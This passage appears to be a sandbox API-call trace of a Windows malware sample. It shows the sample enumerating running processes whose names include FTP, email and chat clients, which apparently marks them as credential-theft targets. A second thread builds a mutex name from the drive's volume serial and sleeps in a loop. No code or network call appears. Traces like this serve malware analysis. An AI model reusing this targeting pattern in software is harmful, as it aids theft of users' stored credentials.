cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0114.773] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0114.774] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0114.774] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0114.775] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0114.775] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0114.776] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0114.777] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0114.777] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0114.779] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0114.779] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0114.780] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0114.780] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0114.781] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0114.781] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0114.782] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0114.783] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0114.784] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0114.785] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0114.786] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0114.787] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0114.788] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0114.789] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0114.790] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0114.791] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0114.792] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0114.793] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0114.795] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0114.796] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0114.797] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0114.798] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0114.799] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0114.800] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0114.801] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0114.802] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0114.803] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0114.804] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0114.805] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0114.806] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0114.807] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0114.807] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0114.809] Process32NextW (hSnapshot=0x330, lppe=0x289f9ec) Thread: id = 16 os_tid = 0x1150 [0085.839] GetVersion () returned 0x23f00206 [0085.839] GetCurrentProcess () returned 0xffffffff [0085.839] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x29df9a4 | out: TokenHandle=0x29df9a4*=0x280) returned 1 [0085.839] GetTokenInformation (in: TokenHandle=0x280, TokenInformationClass=0x14, TokenInformation=0x29df99c, TokenInformationLength=0x4, ReturnLength=0x29df9a0 | out: TokenInformation=0x29df99c, ReturnLength=0x29df9a0) returned 1 [0085.839] CloseHandle (hObject=0x280) returned 1 [0085.839] GetProcessHeap () returned 0xc00000 [0085.839] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc246a0 [0085.839] GetProcessHeap () returned 0xc00000 [0085.839] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24b78 [0085.839] GetProcessHeap () returned 0xc00000 [0085.839] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24790 [0085.839] GetProcessHeap () returned 0xc00000 [0085.839] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0085.839] GetProcessHeap () returned 0xc00000 [0085.839] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0085.839] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24b78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.840] GetProcessHeap () returned 0xc00000 [0085.840] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24790 | out: hHeap=0xc00000) returned 1 [0085.840] GetProcessHeap () returned 0xc00000 [0085.840] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246a0 | out: hHeap=0xc00000) returned 1 [0085.840] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.841] GetProcessHeap () returned 0xc00000 [0085.841] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b78 | out: hHeap=0xc00000) returned 1 [0085.841] GetProcessHeap () returned 0xc00000 [0085.841] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc127d8 [0085.841] GetProcessHeap () returned 0xc00000 [0085.841] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12310 [0085.841] GetProcessHeap () returned 0xc00000 [0085.841] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12310, Size=0x72) returned 0xc0e840 [0085.841] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x280 [0085.841] WaitForSingleObject (hHandle=0x280, dwMilliseconds=0x0) returned 0x102 [0085.841] CloseHandle (hObject=0x280) returned 1 [0085.841] GetProcessHeap () returned 0xc00000 [0085.841] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc127d8 | out: hHeap=0xc00000) returned 1 [0085.841] GetProcessHeap () returned 0xc00000 [0085.841] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e840 | out: hHeap=0xc00000) returned 1 [0085.841] Sleep (dwMilliseconds=0x3e8) [0087.952] GetProcessHeap () returned 0xc00000 [0087.952] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc249c0 [0087.952] GetProcessHeap () returned 0xc00000 [0087.952] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24b28 [0087.952] GetProcessHeap () returned 0xc00000 [0087.952] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24948 [0087.952] GetProcessHeap () returned 0xc00000 [0087.952] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0087.952] GetProcessHeap () returned 0xc00000 [0087.952] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0087.952] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24b28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0087.952] GetProcessHeap () returned 0xc00000 [0087.953] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24948 | out: hHeap=0xc00000) returned 1 [0087.953] GetProcessHeap () returned 0xc00000 [0087.953] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc249c0 | out: hHeap=0xc00000) returned 1 [0087.953] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0087.953] GetProcessHeap () returned 0xc00000 [0087.953] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b28 | out: hHeap=0xc00000) returned 1 [0087.953] GetProcessHeap () returned 0xc00000 [0087.953] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12700 [0087.953] GetProcessHeap () returned 0xc00000 [0087.953] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc128b0 [0087.953] GetProcessHeap () returned 0xc00000 [0087.953] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc128b0, Size=0x72) returned 0xc0e840 [0087.953] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x304 [0087.953] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0087.954] CloseHandle (hObject=0x304) returned 1 [0087.954] GetProcessHeap () returned 0xc00000 [0087.954] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12700 | out: hHeap=0xc00000) returned 1 [0087.954] GetProcessHeap () returned 0xc00000 [0087.954] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e840 | out: hHeap=0xc00000) returned 1 [0087.954] Sleep (dwMilliseconds=0x3e8) [0091.225] GetProcessHeap () returned 0xc00000 [0091.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc246c8 [0091.225] GetProcessHeap () returned 0xc00000 [0091.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24858 [0091.225] GetProcessHeap () returned 0xc00000 [0091.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24a10 [0091.225] GetProcessHeap () returned 0xc00000 [0091.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11190 [0091.225] GetProcessHeap () returned 0xc00000 [0091.225] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11190 | out: hHeap=0xc00000) returned 1 [0091.225] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24858, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0091.225] GetProcessHeap () returned 0xc00000 [0091.225] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a10 | out: hHeap=0xc00000) returned 1 [0091.225] GetProcessHeap () returned 0xc00000 [0091.225] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246c8 | out: hHeap=0xc00000) returned 1 [0091.225] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0091.226] GetProcessHeap () returned 0xc00000 [0091.226] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24858 | out: hHeap=0xc00000) returned 1 [0091.226] GetProcessHeap () returned 0xc00000 [0091.226] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12310 [0091.226] GetProcessHeap () returned 0xc00000 [0091.226] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12700 [0091.226] GetProcessHeap () returned 0xc00000 [0091.226] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12700, Size=0x72) returned 0x37c58f0 [0091.226] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x324 [0091.226] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0091.226] CloseHandle (hObject=0x324) returned 1 [0091.226] GetProcessHeap () returned 0xc00000 [0091.226] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12310 | out: hHeap=0xc00000) returned 1 [0091.226] GetProcessHeap () returned 0xc00000 [0091.226] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c58f0 | out: hHeap=0xc00000) returned 1 [0091.227] Sleep (dwMilliseconds=0x3e8) [0092.592] GetProcessHeap () returned 0xc00000 [0092.592] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24a38 [0092.592] GetProcessHeap () returned 0xc00000 [0092.592] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24768 [0092.592] GetProcessHeap () returned 0xc00000 [0092.592] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc247e0 [0092.592] GetProcessHeap () returned 0xc00000 [0092.592] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0092.592] GetProcessHeap () returned 0xc00000 [0092.592] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0092.592] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24768, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0092.592] GetProcessHeap () returned 0xc00000 [0092.592] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc247e0 | out: hHeap=0xc00000) returned 1 [0092.592] GetProcessHeap () returned 0xc00000 [0092.592] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a38 | out: hHeap=0xc00000) returned 1 [0092.592] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0092.593] GetProcessHeap () returned 0xc00000 [0092.593] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24768 | out: hHeap=0xc00000) returned 1 [0092.593] GetProcessHeap () returned 0xc00000 [0092.593] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc128b0 [0092.593] GetProcessHeap () returned 0xc00000 [0092.593] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12700 [0092.593] GetProcessHeap () returned 0xc00000 [0092.593] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12700, Size=0x72) returned 0x37c5c70 [0092.593] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x310 [0092.593] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102 [0092.594] CloseHandle (hObject=0x310) returned 1 [0092.594] GetProcessHeap () returned 0xc00000 [0092.594] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc128b0 | out: hHeap=0xc00000) returned 1 [0092.594] GetProcessHeap () returned 0xc00000 [0092.594] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c5c70 | out: hHeap=0xc00000) returned 1 [0092.594] Sleep (dwMilliseconds=0x3e8) [0094.938] GetProcessHeap () returned 0xc00000 [0094.938] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24808 [0094.959] GetProcessHeap () returned 0xc00000 [0094.959] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24948 [0094.959] GetProcessHeap () returned 0xc00000 [0094.959] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24858 [0094.959] GetProcessHeap () returned 0xc00000 [0094.960] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0094.974] GetProcessHeap () returned 0xc00000 [0094.974] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0094.974] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24948, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0094.974] GetProcessHeap () returned 0xc00000 [0094.974] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24858 | out: hHeap=0xc00000) returned 1 [0094.974] GetProcessHeap () returned 0xc00000 [0094.974] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24808 | out: hHeap=0xc00000) returned 1 [0094.974] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.974] GetProcessHeap () returned 0xc00000 [0094.974] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24948 | out: hHeap=0xc00000) returned 1 [0094.974] GetProcessHeap () returned 0xc00000 [0094.974] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12700 [0094.974] GetProcessHeap () 